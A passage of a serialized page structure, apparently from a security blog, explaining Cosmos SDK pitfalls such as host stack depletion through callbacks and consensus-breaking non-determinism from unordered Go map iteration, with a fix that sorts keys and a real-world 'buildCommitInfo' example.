7,77171,77175,77179,77183,77187,77191,77196,77200,77204,77208,77212],{"type":23,"tag":41,"props":77163,"children":77164},{"style":114},[77165],{"type":28,"value":77166},"    write_region",{"type":23,"tag":41,"props":77168,"children":77169},{"style":70},[77170],{"type":28,"value":1737},{"type":23,"tag":41,"props":77172,"children":77173},{"style":170},[77174],{"type":28,"value":855},{"type":23,"tag":41,"props":77176,"children":77177},{"style":858},[77178],{"type":28,"value":35685},{"type":23,"tag":41,"props":77180,"children":77181},{"style":170},[77182],{"type":28,"value":706},{"type":23,"tag":41,"props":77184,"children":77185},{"style":114},[77186],{"type":28,"value":75968},{"type":23,"tag":41,"props":77188,"children":77189},{"style":70},[77190],{"type":28,"value":18363},{"type":23,"tag":41,"props":77192,"children":77193},{"style":858},[77194],{"type":28,"value":77195},"target_ptr",{"type":23,"tag":41,"props":77197,"children":77198},{"style":70},[77199],{"type":28,"value":970},{"type":23,"tag":41,"props":77201,"children":77202},{"style":858},[77203],{"type":28,"value":8366},{"type":23,"tag":41,"props":77205,"children":77206},{"style":70},[77207],{"type":28,"value":2678},{"type":23,"tag":41,"props":77209,"children":77210},{"style":170},[77211],{"type":28,"value":3155},{"type":23,"tag":41,"props":77213,"children":77214},{"style":70},[77215],{"type":28,"value":183},{"type":23,"tag":41,"props":77217,"children":77218},{"class":43,"line":939},[77219,77223,77227,77231],{"type":23,"tag":41,"props":77220,"children":77221},{"style":94},[77222],{"type":28,"value":14325},{"type":23,"tag":41,"props":77224,"children":77225},{"style":70},[77226],{"type":28,"value":1737},{"type":23,"tag":41,"props":77228,"children":77229},{"style":858},[77230],{"type":28,"value":77195},{"type":23,"tag":41,"props":77232,"children":77233},{"style":70},[77234],{"type":28,"value":1969},{"type":23,"tag":41,"props":77236,"children":77237},{"class":43,"line":947},[77238],{"type":23,"tag":41,"props":77239,"children":77240},{"style":70},[77241],{"type":28,"value":201},{"type":23,"tag":24,"props":77243,"children":77244},{},[77245,77247,77253,77255,77260],{"type":28,"value":77246},"As users have complete control over ",{"type":23,"tag":37,"props":77248,"children":77250},{"className":77249},[],[77251],{"type":28,"value":77252},"allocate",{"type":28,"value":77254},", there is a possibility to call back ",{"type":23,"tag":37,"props":77256,"children":77258},{"className":77257},[],[77259],{"type":28,"value":76715},{"type":28,"value":77261}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":23,"tag":24,"props":77263,"children":77264},{},[77265,77267,77274],{"type":28,"value":77266},"Additional real-world examples include ",{"type":23,"tag":458,"props":77268,"children":77271},{"href":77269,"rel":77270},"https://github.com/cosmos/cosmos-sdk/issues/16676",[462],[77272],{"type":28,"value":77273},"not returning proper values for malformed txs",{"type":28,"value":706},{"type":23,"tag":446,"props":77276,"children":77278},{"id":77277},"order-was-the-dream-of-man",[77279],{"type":28,"value":77280},"Order Was the Dream of Man",{"type":23,"tag":24,"props":77282,"children":77283},{},[77284],{"type":28,"value":77285},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":23,"tag":24,"props":77287,"children":77288},{},[77289],{"type":28,"value":77290},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":23,"tag":31,"props":77292,"children":77294},{"code":77293,"language":76159,"meta":7,"className":76160,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    for key, value := range objectMap {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, value),\n            )\n        )\n    }\n}\n",[77295],{"type":23,"tag":37,"props":77296,"children":77297},{"__ignoreMap":7},[77298,77331,77338,77367,77404,77433,77454,77466,77503,77511,77518,77525],{"type":23,"tag":41,"props":77299,"children":77300},{"class":43,"line":44},[77301,77305,77310,77314,77318,77322,77326],{"type":23,"tag":41,"props":77302,"children":77303},{"style":64},[77304],{"type":28,"value":1669},{"type":23,"tag":41,"props":77306,"children":77307},{"style":94},[77308],{"type":28,"value":77309}," ObjectMap",{"type":23,"tag":41,"props":77311,"children":77312},{"style":64},[77313],{"type":28,"value":49663},{"type":23,"tag":41,"props":77315,"children":77316},{"style":70},[77317],{"type":28,"value":312},{"type":23,"tag":41,"props":77319,"children":77320},{"style":94},[77321],{"type":28,"value":29663},{"type":23,"tag":41,"props":77323,"children":77324},{"style":70},[77325],{"type":28,"value":15402},{"type":23,"tag":41,"props":77327,"children":77328},{"style":94},[77329],{"type":28,"value":77330},"string\n",{"type":23,"tag":41,"props":77332,"children":77333},{"class":43,"line":54},[77334],{"type":23,"tag":41,"props":77335,"children":77336},{"emptyLinePlaceholder":18},[77337],{"type":28,"value":82},{"type":23,"tag":41,"props":77339,"children":77340},{"class":43,"line":76},[77341,77345,77350,77354,77359,77363],{"type":23,"tag":41,"props":77342,"children":77343},{"style":64},[77344],{"type":28,"value":76295},{"type":23,"tag":41,"props":77346,"children":77347},{"style":114},[77348],{"type":28,"value":77349}," EmitEntries",{"type":23,"tag":41,"props":77351,"children":77352},{"style":70},[77353],{"type":28,"value":1737},{"type":23,"tag":41,"props":77355,"children":77356},{"style":858},[77357],{"type":28,"value":77358},"objectMap",{"type":23,"tag":41,"props":77360,"children":77361},{"style":94},[77362],{"type":28,"value":77309},{"type":23,"tag":41,"props":77364,"children":77365},{"style":70},[77366],{"type":28,"value":152},{"type":23,"tag":41,"props":77368,"children":77369},{"class":43,"line":85},[77370,77374,77378,77382,77386,77390,77395,77400],{"type":23,"tag":41,"props":77371,"children":77372},{"style":58},[77373],{"type":28,"value":3034},{"type":23,"tag":41,"props":77375,"children":77376},{"style":858},[77377],{"type":28,"value":5931},{"type":23,"tag":41,"props":77379,"children":77380},{"style":70},[77381],{"type":28,"value":970},{"type":23,"tag":41,"props":77383,"children":77384},{"style":858},[77385],{"type":28,"value":1652},{"type":23,"tag":41,"props":77387,"children":77388},{"style":170},[77389],{"type":28,"value":76411},{"type":23,"tag":41,"props":77391,"children":77392},{"style":58},[77393],{"type":28,"value":77394}," range",{"type":23,"tag":41,"props":77396,"children":77397},{"style":858},[77398],{"type":28,"value":77399}," objectMap",{"type":23,"tag":41,"props":77401,"children":77402},{"style":70},[77403],{"type":28,"value":102},{"type":23,"tag":41,"props":77405,"children":77406},{"class":43,"line":105},[77407,77411,77415,77420,77424,77429],{"type":23,"tag":41,"props":77408,"children":77409},{"style":858},[77410],{"type":28,"value":26185},{"type":23,"tag":41,"props":77412,"children":77413},{"style":70},[77414],{"type":28,"value":706},{"type":23,"tag":41,"props":77416,"children":77417},{"style":858},[77418],{"type":28,"value":77419},"EventManager",{"type":23,"tag":41,"props":77421,"children":77422},{"style":70},[77423],{"type":28,"value":706},{"type":23,"tag":41,"props":77425,"children":77426},{"style":114},[77427],{"type":28,"value":77428},"EmitEvent",{"type":23,"tag":41,"props":77430,"children":77431},{"style":70},[77432],{"type":28,"value":3461},{"type":23,"tag":41,"props":77434,"children":77435},{"class":43,"line":155},[77436,77441,77445,77450],{"type":23,"tag":41,"props":77437,"children":77438},{"style":858},[77439],{"type":28,"value":77440},"            sdk",{"type":23,"tag":41,"props":77442,"children":77443},{"style":70},[77444],{"type":28,"value":706},{"type":23,"tag":41,"props":77446,"children":77447},{"style":114},[77448],{"type":28,"value":77449},"NewEvent",{"type":23,"tag":41,"props":77451,"children":77452},{"style":70},[77453],{"type":28,"value":3461},{"type":23,"tag":41,"props":77455,"children":77456},{"class":43,"line":186},[77457,77462],{"type":23,"tag":41,"props":77458,"children":77459},{"style":735},[77460],{"type":28,"value":77461},"                \"MapContext\"",{"type":23,"tag":41,"props":77463,"children":77464},{"style":70},[77465],{"type":28,"value":3506},{"type":23,"tag":41,"props":77467,"children":77468},{"class":43,"line":195},[77469,77474,77478,77483,77487,77491,77495,77499],{"type":23,"tag":41,"props":77470,"children":77471},{"style":858},[77472],{"type":28,"value":77473},"                sdk",{"type":23,"tag":41,"props":77475,"children":77476},{"style":70},[77477],{"type":28,"value":706},{"type":23,"tag":41,"props":77479,"children":77480},{"style":114},[77481],{"type":28,"value":77482},"NewAttribute",{"type":23,"tag":41,"props":77484,"children":77485},{"style":70},[77486],{"type":28,"value":1737},{"type":23,"tag":41,"props":77488,"children":77489},{"style":858},[77490],{"type":28,"value":72151},{"type":23,"tag":41,"props":77492,"children":77493},{"style":70},[77494],{"type":28,"value":970},{"type":23,"tag":41,"props":77496,"children":77497},{"style":858},[77498],{"type":28,"value":1652},{"type":23,"tag":41,"props":77500,"children":77501},{"style":70},[77502],{"type":28,"value":6735},{"type":23,"tag":41,"props":77504,"children":77505},{"class":43,"line":905},[77506],{"type":23,"tag":41,"props":77507,"children":77508},{"style":70},[77509],{"type":28,"value":77510},"            )\n",{"type":23,"tag":41,"props":77512,"children":77513},{"class":43,"line":922},[77514],{"type":23,"tag":41,"props":77515,"children":77516},{"style":70},[77517],{"type":28,"value":68316},{"type":23,"tag":41,"props":77519,"children":77520},{"class":43,"line":930},[77521],{"type":23,"tag":41,"props":77522,"children":77523},{"style":70},[77524],{"type":28,"value":192},{"type":23,"tag":41,"props":77526,"children":77527},{"class":43,"line":939},[77528],{"type":23,"tag":41,"props":77529,"children":77530},{"style":70},[77531],{"type":28,"value":201},{"type":23,"tag":24,"props":77533,"children":77534},{},[77535],{"type":28,"value":77536},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":23,"tag":518,"props":77538,"children":77539},{},[77540],{"type":23,"tag":24,"props":77541,"children":77542},{},[77543],{"type":28,"value":77544},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":23,"tag":24,"props":77546,"children":77547},{},[77548,77550,77555],{"type":28,"value":77549},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":23,"tag":37,"props":77551,"children":77553},{"className":77552},[],[77554],{"type":28,"value":67097},{"type":28,"value":77556}," and then fetch the values using the sorted key array before emitting them.",{"type":23,"tag":31,"props":77558,"children":77560},{"code":77559,"language":76159,"meta":7,"className":76160,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    var keys []string\n    for key := range objectMap {\n        keys = append(keys, key)\n    }\n    sort.Strings(keys)\n\n    for _, key := range keys {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, objectMap[key]),\n            )\n        )\n    }\n}\n",[77561],{"type":23,"tag":37,"props":77562,"children":77563},{"__ignoreMap":7},[77564,77595,77602,77629,77649,77676,77712,77719,77748,77755,77790,77817,77836,77847,77891,77898,77905,77912],{"type":23,"tag":41,"props":77565,"children":77566},{"class":43,"line":44},[77567,77571,77575,77579,77583,77587,77591],{"type":23,"tag":41,"props":77568,"children":77569},{"style":64},[77570],{"type":28,"value":1669},{"type":23,"tag":41,"props":77572,"children":77573},{"style":94},[77574],{"type":28,"value":77309},{"type":23,"tag":41,"props":77576,"children":77577},{"style":64},[77578],{"type":28,"value":49663},{"type":23,"tag":41,"props":77580,"children":77581},{"style":70},[77582],{"type":28,"value":312},{"type":23,"tag":41,"props":77584,"children":77585},{"style":94},[77586],{"type":28,"value":29663},{"type":23,"tag":41,"props":77588,"children":77589},{"style":70},[77590],{"type":28,"value":15402},{"type":23,"tag":41,"props":77592,"children":77593},{"style":94},[77594],{"type":28,"value":77330},{"type":23,"tag":41,"props":77596,"children":77597},{"class":43,"line":54},[77598],{"type":23,"tag":41,"props":77599,"children":77600},{"emptyLinePlaceholder":18},[77601],{"type":28,"value":82},{"type":23,"tag":41,"props":77603,"children":77604},{"class":43,"line":76},[77605,77609,77613,77617,77621,77625],{"type":23,"tag":41,"props":77606,"children":77607},{"style":64},[77608],{"type":28,"value":76295},{"type":23,"tag":41,"props":77610,"children":77611},{"style":114},[77612],{"type":28,"value":77349},{"type":23,"tag":41,"props":77614,"children":77615},{"style":70},[77616],{"type":28,"value":1737},{"type":23,"tag":41,"props":77618,"children":77619},{"style":858},[77620],{"type":28,"value":77358},{"type":23,"tag":41,"props":77622,"children":77623},{"style":94},[77624],{"type":28,"value":77309},{"type":23,"tag":41,"props":77626,"children":77627},{"style":70},[77628],{"type":28,"value":152},{"type":23,"tag":41,"props":77630,"children":77631},{"class":43,"line":85},[77632,77637,77641,77645],{"type":23,"tag":41,"props":77633,"children":77634},{"style":64},[77635],{"type":28,"value":77636},"    var",{"type":23,"tag":41,"props":77638,"children":77639},{"style":858},[77640],{"type":28,"value":21367},{"type":23,"tag":41,"props":77642,"children":77643},{"style":70},[77644],{"type":28,"value":76222},{"type":23,"tag":41,"props":77646,"children":77647},{"style":94},[77648],{"type":28,"value":77330},{"type":23,"tag":41,"props":77650,"children":77651},{"class":43,"line":105},[77652,77656,77660,77664,77668,77672],{"type":23,"tag":41,"props":77653,"children":77654},{"style":58},[77655],{"type":28,"value":3034},{"type":23,"tag":41,"props":77657,"children":77658},{"style":858},[77659],{"type":28,"value":5931},{"type":23,"tag":41,"props":77661,"children":77662},{"style":170},[77663],{"type":28,"value":76411},{"type":23,"tag":41,"props":77665,"children":77666},{"style":58},[77667],{"type":28,"value":77394},{"type":23,"tag":41,"props":77669,"children":77670},{"style":858},[77671],{"type":28,"value":77399},{"type":23,"tag":41,"props":77673,"children":77674},{"style":70},[77675],{"type":28,"value":102},{"type":23,"tag":41,"props":77677,"children":77678},{"class":43,"line":155},[77679,77683,77687,77692,77696,77700,77704,77708],{"type":23,"tag":41,"props":77680,"children":77681},{"style":858},[77682],{"type":28,"value":25330},{"type":23,"tag":41,"props":77684,"children":77685},{"style":170},[77686],{"type":28,"value":3017},{"type":23,"tag":41,"props":77688,"children":77689},{"style":114},[77690],{"type":28,"value":77691}," append",{"type":23,"tag":41,"props":77693,"children":77694},{"style":70},[77695],{"type":28,"value":1737},{"type":23,"tag":41,"props":77697,"children":77698},{"style":858},[77699],{"type":28,"value":20970},{"type":23,"tag":41,"props":77701,"children":77702},{"style":70},[77703],{"type":28,"value":970},{"type":23,"tag":41,"props":77705,"children":77706},{"style":858},[77707],{"type":28,"value":72151},{"type":23,"tag":41,"props":77709,"children":77710},{"style":70},[77711],{"type":28,"value":1969},{"type":23,"tag":41,"props":77713,"children":77714},{"class":43,"line":186},[77715],{"type":23,"tag":41,"props":77716,"children":77717},{"style":70},[77718],{"type":28,"value":192},{"type":23,"tag":41,"props":77720,"children":77721},{"class":43,"line":195},[77722,77727,77731,77736,77740,77744],{"type":23,"tag":41,"props":77723,"children":77724},{"style":858},[77725],{"type":28,"value":77726},"    sort",{"type":23,"tag":41,"props":77728,"children":77729},{"style":70},[77730],{"type":28,"value":706},{"type":23,"tag":41,"props":77732,"children":77733},{"style":114},[77734],{"type":28,"value":77735},"Strings",{"type":23,"tag":41,"props":77737,"children":77738},{"style":70},[77739],{"type":28,"value":1737},{"type":23,"tag":41,"props":77741,"children":77742},{"style":858},[77743],{"type":28,"value":20970},{"type":23,"tag":41,"props":77745,"children":77746},{"style":70},[77747],{"type":28,"value":1969},{"type":23,"tag":41,"props":77749,"children":77750},{"class":43,"line":905},[77751],{"type":23,"tag":41,"props":77752,"children":77753},{"emptyLinePlaceholder":18},[77754],{"type":28,"value":82},{"type":23,"tag":41,"props":77756,"children":77757},{"class":43,"line":922},[77758,77762,77766,77770,77774,77778,77782,77786],{"type":23,"tag":41,"props":77759,"children":77760},{"style":58},[77761],{"type":28,"value":3034},{"type":23,"tag":41,"props":77763,"children":77764},{"style":858},[77765],{"type":28,"value":3039},{"type":23,"tag":41,"props":77767,"children":77768},{"style":70},[77769],{"type":28,"value":970},{"type":23,"tag":41,"props":77771,"children":77772},{"style":858},[77773],{"type":28,"value":72151},{"type":23,"tag":41,"props":77775,"children":77776},{"style":170},[77777],{"type":28,"value":76411},{"type":23,"tag":41,"props":77779,"children":77780},{"style":58},[77781],{"type":28,"value":77394},{"type":23,"tag":41,"props":77783,"children":77784},{"style":858},[77785],{"type":28,"value":21367},{"type":23,"tag":41,"props":77787,"children":77788},{"style":70},[77789],{"type":28,"value":102},{"type":23,"tag":41,"props":77791,"children":77792},{"class":43,"line":930},[77793,77797,77801,77805,77809,77813],{"type":23,"tag":41,"props":77794,"children":77795},{"style":858},[77796],{"type":28,"value":26185},{"type":23,"tag":41,"props":77798,"children":77799},{"style":70},[77800],{"type":28,"value":706},{"type":23,"tag":41,"props":77802,"children":77803},{"style":858},[77804],{"type":28,"value":77419},{"type":23,"tag":41,"props":77806,"children":77807},{"style":70},[77808],{"type":28,"value":706},{"type":23,"tag":41,"props":77810,"children":77811},{"style":114},[77812],{"type":28,"value":77428},{"type":23,"tag":41,"props":77814,"children":77815},{"style":70},[77816],{"type":28,"value":3461},{"type":23,"tag":41,"props":77818,"children":77819},{"class":43,"line":939},[77820,77824,77828,77832],{"type":23,"tag":41,"props":77821,"children":77822},{"style":858},[77823],{"type":28,"value":77440},{"type":23,"tag":41,"props":77825,"children":77826},{"style":70},[77827],{"type":28,"value":706},{"type":23,"tag":41,"props":77829,"children":77830},{"style":114},[77831],{"type":28,"value":77449},{"type":23,"tag":41,"props":77833,"children":77834},{"style":70},[77835],{"type":28,"value":3461},{"type":23,"tag":41,"props":77837,"children":77838},{"class":43,"line":947},[77839,77843],{"type":23,"tag":41,"props":77840,"children":77841},{"style":735},[77842],{"type":28,"value":77461},{"type":23,"tag":41,"props":77844,"children":77845},{"style":70},[77846],{"type":28,"value":3506},{"type":23,"tag":41,"props":77848,"children":77849},{"class":43,"line":985},[77850,77854,77858,77862,77866,77870,77874,77878,77882,77886],{"type":23,"tag":41,"props":77851,"children":77852},{"style":858},[77853],{"type":28,"value":77473},{"type":23,"tag":41,"props":77855,"children":77856},{"style":70},[77857],{"type":28,"value":706},{"type":23,"tag":41,"props":77859,"children":77860},{"style":114},[77861],{"type":28,"value":77482},{"type":23,"tag":41,"props":77863,"children":77864},{"style":70},[77865],{"type":28,"value":1737},{"type":23,"tag":41,"props":77867,"children":77868},{"style":858},[77869],{"type":28,"value":72151},{"type":23,"tag":41,"props":77871,"children":77872},{"style":70},[77873],{"type":28,"value":970},{"type":23,"tag":41,"props":77875,"children":77876},{"style":858},[77877],{"type":28,"value":77358},{"type":23,"tag":41,"props":77879,"children":77880},{"style":70},[77881],{"type":28,"value":312},{"type":23,"tag":41,"props":77883,"children":77884},{"style":858},[77885],{"type":28,"value":72151},{"type":23,"tag":41,"props":77887,"children":77888},{"style":70},[77889],{"type":28,"value":77890},"]),\n",{"type":23,"tag":41,"props":77892,"children":77893},{"class":43,"line":1058},[77894],{"type":23,"tag":41,"props":77895,"children":77896},{"style":70},[77897],{"type":28,"value":77510},{"type":23,"tag":41,"props":77899,"children":77900},{"class":43,"line":1084},[77901],{"type":23,"tag":41,"props":77902,"children":77903},{"style":70},[77904],{"type":28,"value":68316},{"type":23,"tag":41,"props":77906,"children":77907},{"class":43,"line":1102},[77908],{"type":23,"tag":41,"props":77909,"children":77910},{"style":70},[77911],{"type":28,"value":192},{"type":23,"tag":41,"props":77913,"children":77914},{"class":43,"line":1110},[77915],{"type":23,"tag":41,"props":77916,"children":77917},{"style":70},[77918],{"type":28,"value":201},{"type":23,"tag":24,"props":77920,"children":77921},{},[77922],{"type":28,"value":77923},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":23,"tag":546,"props":77925,"children":77927},{"id":77926},"real-world-examples-1",[77928],{"type":28,"value":76684},{"type":23,"tag":24,"props":77930,"children":77931},{},[77932,77934,77939,77941,77947,77949,77955,77957,77963],{"type":28,"value":77933},"Real-world examples of ",{"type":23,"tag":37,"props":77935,"children":77937},{"className":77936},[],[77938],{"type":28,"value":67097},{"type":28,"value":77940}," causing determinism problems can be found ",{"type":23,"tag":458,"props":77942,"children":77945},{"href":77943,"rel":77944},"https://github.com/cosmos/cosmos-sdk/pull/12487",[462],[77946],{"type":28,"value":47578},{"type":28,"value":77948},", specifically, where the result of ",{"type":23,"tag":37,"props":77950,"children":77952},{"className":77951},[],[77953],{"type":28,"value":77954},"buildCommitInfo",{"type":28,"value":77956}," is inconsistent due to iteration over the ",{"type":23,"tag":37,"props":77958,"children":77960},{"className":77959},[],[77961],{"type":28,"value":77962},"rs.stores",{"type":28,"value":77964}," map.",{"type":23,"tag":24,"props":77966,"children":77967},{},[77968],{"type":23,"tag":458,"props":77969,"children":77972},{"href":77970,"rel":77971},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[462],[77973],{"type":28,"value":76734},{"type":23,"tag":31,"props":77975,"children":77977},{"code":77976,"language":76159,"meta":7,"className":76160,"style":7},"func (rs *Store) buildCommitInfo(\n    version int64\n) *types.CommitInfo {\n    storeInfos := []types.StoreInfo{}\n    for key, store := range rs.stores {\n        if store.GetStoreType() == types.StoreTypeTransient {\n            continue\n        }\n        storeInfos = append(storeInfos, types.StoreInfo{\n            Name:     key.Name(),\n            CommitId: store.LastCommitID(),\n        })\n    }\n    return &types.CommitInfo{\n        Version:    version,\n        StoreInfos: storeInfos,\n    }\n}\n",[77978],{"type":23,"tag":37,"props":77979,"children":77980},{"__ignoreMap":7},[77981,78018,78031,78059,78093,78138,78184,78192,78199,78244,78274,78303,78310,78317,78344,78366,78386,78393],{"type":23,"tag":41,"props":77982,"children":77983},{"class":43,"line":44},[77984,77988,77992,77997,78001,78006,78010,78014],{"type":23,"tag":41,"props":77985,"children":77986},{"style":64},[77987],{"type":28,"value":76295},{"type":23,"tag":41,"props":77989,"children":77990},{"style":70},[77991],{"type":28,"value":142},{"type":23,"tag":41,"props":77993,"children":77994},{"style":858},[77995],{"type":28,"value":77996},"rs ",{"type":23,"tag":41,"props":77998,"children":77999},{"style":170},[78000],{"type":28,"value":377},{"type":23,"tag":41,"props":78002,"children":78003},{"style":94},[78004],{"type":28,"value":78005},"Store",{"type":23,"tag":41,"props":78007,"children":78008},{"style":70},[78009],{"type":28,"value":866},{"type":23,"tag":41,"props":78011,"children":78012},{"style":114},[78013],{"type":28,"value":77954},{"type":23,"tag":41,"props":78015,"children":78016},{"style":70},[78017],{"type":28,"value":3461},{"type":23,"tag":41,"props":78019,"children":78020},{"class":43,"line":54},[78021,78026],{"type":23,"tag":41,"props":78022,"children":78023},{"style":858},[78024],{"type":28,"value":78025},"    version",{"type":23,"tag":41,"props":78027,"children":78028},{"style":94},[78029],{"type":28,"value":78030}," int64\n",{"type":23,"tag":41,"props":78032,"children":78033},{"class":43,"line":76},[78034,78038,78042,78046,78050,78055],{"type":23,"tag":41,"props":78035,"children":78036},{"style":70},[78037],{"type":28,"value":866},{"type":23,"tag":41,"props":78039,"children":78040},{"style":170},[78041],{"type":28,"value":377},{"type":23,"tag":41,"props":78043,"children":78044},{"style":94},[78045],{"type":28,"value":5759},{"type":23,"tag":41,"props":78047,"children":78048},{"style":70},[78049],{"type":28,"value":706},{"type":23,"tag":41,"props":78051,"children":78052},{"style":94},[78053],{"type":28,"value":78054},"CommitInfo",{"type":23,"tag":41,"props":78056,"children":78057},{"style":70},[78058],{"type":28,"value":102},{"type":23,"tag":41,"props":78060,"children":78061},{"class":43,"line":85},[78062,78067,78071,78075,78079,78083,78088],{"type":23,"tag":41,"props":78063,"children":78064},{"style":858},[78065],{"type":28,"value":78066},"    storeInfos",{"type":23,"tag":41,"props":78068,"children":78069},{"style":170},[78070],{"type":28,"value":76411},{"type":23,"tag":41,"props":78072,"children":78073},{"style":70},[78074],{"type":28,"value":76222},{"type":23,"tag":41,"props":78076,"children":78077},{"style":94},[78078],{"type":28,"value":5759},{"type":23,"tag":41,"props":78080,"children":78081},{"style":70},[78082],{"type":28,"value":706},{"type":23,"tag":41,"props":78084,"children":78085},{"style":94},[78086],{"type":28,"value":78087},"StoreInfo",{"type":23,"tag":41,"props":78089,"children":78090},{"style":70},[78091],{"type":28,"value":78092},"{}\n",{"type":23,"tag":41,"props":78094,"children":78095},{"class":43,"line":105},[78096,78100,78104,78108,78112,78116,78120,78125,78129,78134],{"type":23,"tag":41,"props":78097,"children":78098},{"style":58},[78099],{"type":28,"value":3034},{"type":23,"tag":41,"props":78101,"children":78102},{"style":858},[78103],{"type":28,"value":5931},{"type":23,"tag":41,"props":78105,"children":78106},{"style":70},[78107],{"type":28,"value":970},{"type":23,"tag":41,"props":78109,"children":78110},{"style":858},[78111],{"type":28,"value":5940},{"type":23,"tag":41,"props":78113,"children":78114},{"style":170},[78115],{"type":28,"value":76411},{"type":23,"tag":41,"props":78117,"children":78118},{"style":58},[78119],{"type":28,"value":77394},{"type":23,"tag":41,"props":78121,"children":78122},{"style":858},[78123],{"type":28,"value":78124}," rs",{"type":23,"tag":41,"props":78126,"children":78127},{"style":70},[78128],{"type":28,"value":706},{"type":23,"tag":41,"props":78130,"children":78131},{"style":858},[78132],{"type":28,"value":78133},"stores",{"type":23,"tag":41,"props":78135,"children":78136},{"style":70},[78137],{"type":28,"value":102},{"type":23,"tag":41,"props":78139,"children":78140},{"class":43,"line":155},[78141,78145,78149,78153,78158,78162,78166,78171,78175,78180],{"type":23,"tag":41,"props":78142,"children":78143},{"style":58},[78144],{"type":28,"value":3272},{"type":23,"tag":41,"props":78146,"children":78147},{"style":858},[78148],{"type":28,"value":5831},{"type":23,"tag":41,"props":78150,"children":78151},{"style":70},[78152],{"type":28,"value":706},{"type":23,"tag":41,"props":78154,"children":78155},{"style":114},[78156],{"type":28,"value":78157},"GetStoreType",{"type":23,"tag":41,"props":78159,"children":78160},{"style":70},[78161],{"type":28,"value":122},{"type":23,"tag":41,"props":78163,"children":78164},{"style":170},[78165],{"type":28,"value":387},{"type":23,"tag":41,"props":78167,"children":78168},{"style":858},[78169],{"type":28,"value":78170}," types",{"type":23,"tag":41,"props":78172,"children":78173},{"style":70},[78174],{"type":28,"value":706},{"type":23,"tag":41,"props":78176,"children":78177},{"style":858},[78178],{"type":28,"value":78179},"StoreTypeTransient",{"type":23,"tag":41,"props":78181,"children":78182},{"style":70},[78183],{"type":28,"value":102},{"type":23,"tag":41,"props":78185,"children":78186},{"class":43,"line":186},[78187],{"type":23,"tag":41,"props":78188,"children":78189},{"style":58},[78190],{"type":28,"value":78191},"            continue\n",{"type":23,"tag":41,"props":78193,"children":78194},{"class":43,"line":195},[78195],{"type":23,"tag":41,"props":78196,"children":78197},{"style":70},[78198],{"type":28,"value":3347},{"type":23,"tag":41,"props":78200,"children":78201},{"class":43,"line":905},[78202,78207,78211,78215,78219,78224,78228,78232,78236,78240],{"type":23,"tag":41,"props":78203,"children":78204},{"style":858},[78205],{"type":28,"value":78206},"        storeInfos",{"type":23,"tag":41,"props":78208,"children":78209},{"style":170},[78210],{"type":28,"value":3017},{"type":23,"tag":41,"props":78212,"children":78213},{"style":114},[78214],{"type":28,"value":77691},{"type":23,"tag":41,"props":78216,"children":78217},{"style":70},[78218],{"type":28,"value":1737},{"type":23,"tag":41,"props":78220,"children":78221},{"style":858},[78222],{"type":28,"value":78223},"storeInfos",{"type":23,"tag":41,"props":78225,"children":78226},{"style":70},[78227],{"type":28,"value":970},{"type":23,"tag":41,"props":78229,"children":78230},{"style":94},[78231],{"type":28,"value":5759},{"type":23,"tag":41,"props":78233,"children":78234},{"style":70},[78235],{"type":28,"value":706},{"type":23,"tag":41,"props":78237,"children":78238},{"style":94},[78239],{"type":28,"value":78087},{"type":23,"tag":41,"props":78241,"children":78242},{"style":70},[78243],{"type":28,"value":1559},{"type":23,"tag":41,"props":78245,"children":78246},{"class":43,"line":922},[78247,78252,78257,78261,78265,78270],{"type":23,"tag":41,"props":78248,"children":78249},{"style":858},[78250],{"type":28,"value":78251},"            Name",{"type":23,"tag":41,"props":78253,"children":78254},{"style":70},[78255],{"type":28,"value":78256},":     ",{"type":23,"tag":41,"props":78258,"children":78259},{"style":858},[78260],{"type":28,"value":72151},{"type":23,"tag":41,"props":78262,"children":78263},{"style":70},[78264],{"type":28,"value":706},{"type":23,"tag":41,"props":78266,"children":78267},{"style":114},[78268],{"type":28,"value":78269},"Name",{"type":23,"tag":41,"props":78271,"children":78272},{"style":70},[78273],{"type":28,"value":3489},{"type":23,"tag":41,"props":78275,"children":78276},{"class":43,"line":930},[78277,78282,78286,78290,78294,78299],{"type":23,"tag":41,"props":78278,"children":78279},{"style":858},[78280],{"type":28,"value":78281},"            CommitId",{"type":23,"tag":41,"props":78283,"children":78284},{"style":70},[78285],{"type":28,"value":1418},{"type":23,"tag":41,"props":78287,"children":78288},{"style":858},[78289],{"type":28,"value":5940},{"type":23,"tag":41,"props":78291,"children":78292},{"style":70},[78293],{"type":28,"value":706},{"type":23,"tag":41,"props":78295,"children":78296},{"style":114},[78297],{"type":28,"value":78298},"LastCommitID",{"type":23,"tag":41,"props":78300,"children":78301},{"style":70},[78302],{"type":28,"value":3489},{"type":23,"tag":41,"props":78304,"children":78305},{"class":43,"line":939},[78306],{"type":23,"tag":41,"props":78307,"children":78308},{"style":70},[78309],{"type":28,"value":68193},{"type":23,"tag":41,"props":78311,"children":78312},{"class":43,"line":947},[78313],{"type":23,"tag":41,"props":78314,"children":78315},{"style":70},[78316],{"type":28,"value":192},{"type":23,"tag":41,"props":78318,"children":78319},{"class":43,"line":985},[78320,78324,78328,78332,78336,78340],{"type":23,"tag":41,"props":78321,"children":78322},{"style":58},[78323],{"type":28,"value":1090},{"type":23,"tag":41,"props":78325,"children":78326},{"style":170},[78327],{"type":28,"value":7140},{"type":23,"tag":41,"props":78329,"children":78330},{"style":94},[78331],{"type":28,"value":5759},{"type":23,"tag":41,"props":78333,"children":78334},{"style":70},[78335],{"type":28,